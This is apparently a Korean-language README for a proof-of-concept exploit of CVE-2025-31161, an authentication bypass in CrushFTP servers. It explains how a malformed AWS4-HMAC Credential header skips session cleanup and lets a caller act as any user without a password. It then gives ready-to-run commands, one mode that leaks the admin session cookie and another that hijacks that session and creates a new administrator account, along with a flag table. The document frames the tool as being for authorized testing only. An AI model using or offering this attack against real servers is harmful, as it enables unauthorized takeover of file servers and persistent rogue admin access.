
CVE-2025-31161에 대한 개념 증명으로, 변조된 HTTP 헤더를 사용하여 Crush FTP 서버에서 모든 사용자로 인증되지 않은 가장을 수행합니다.
경고: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 명시적 허가 없이 테스트할 권한이 없는 시스템에 무단으로 사용하는 것은 불법입니다.
이 도구는 CVE-2025-31161에 대한 개념 증명(PoC)입니다. 이는 CrushFTP(버전 < 10.8.4 및 < 11.3.1)의 심각한 인증 우회 취약점입니다. 이 취약점은 AWS4-HMAC 헤더 파싱의 논리 오류를 악용하여, 망가진 헤더가 IndexOutOfBounds 예외를 발생시킵니다. 이 예외로 인해 서버가 세션을 정리하지 못하게 되어, 사용자가 암호 없이 요청된 계정으로 인증된 상태로 남게 됩니다.
Credential=user/)가 처리되지 않은 Java 예외를 발생시켜 세션 정리를 우회함.requests 라이브러리pip install requests
스크립트는 두 가지 모드로 작동합니다: 확인(관찰) 및 익스플로잇(실행).
기본 관리자 계정의 세션 쿠키를 유출하여 대상이 취약한지 확인합니다. 대상 시스템을 수정하지 않습니다.
python3 exploit.py check -u <target_ip> -p <port>
python3 exploit.py check -u 192.168.1.50 -p 8080지정된 관리 사용자의 세션을 가로채서 MainUsers 그룹에 새로운 관리 계정을 주입합니다.
python3 exploit.py exploit -u <target_ip> -p <port> -a <admin_user> -nu <new_username> -np <new_password>
python3 exploit.py exploit -u 192.168.1.50 -p 8080 -a crushadmin -nu operator -np StrongPass123!| 플래그 | 이름 | 설명 | 기본값 |
|---|---|---|---|
-u | --url | 대상 IP 주소 또는 호스트명 | 필수 |
-p | --port | 대상 포트 | 8080 |
-a | --admin_user | 가장할 기존 관리자 계정 | crushadmin |
-nu | --new_user | 새 관리자 계정의 사용자 이름 | 필수 |
-np | --new_password | 새 관리자 계정의 암호 | 필수 |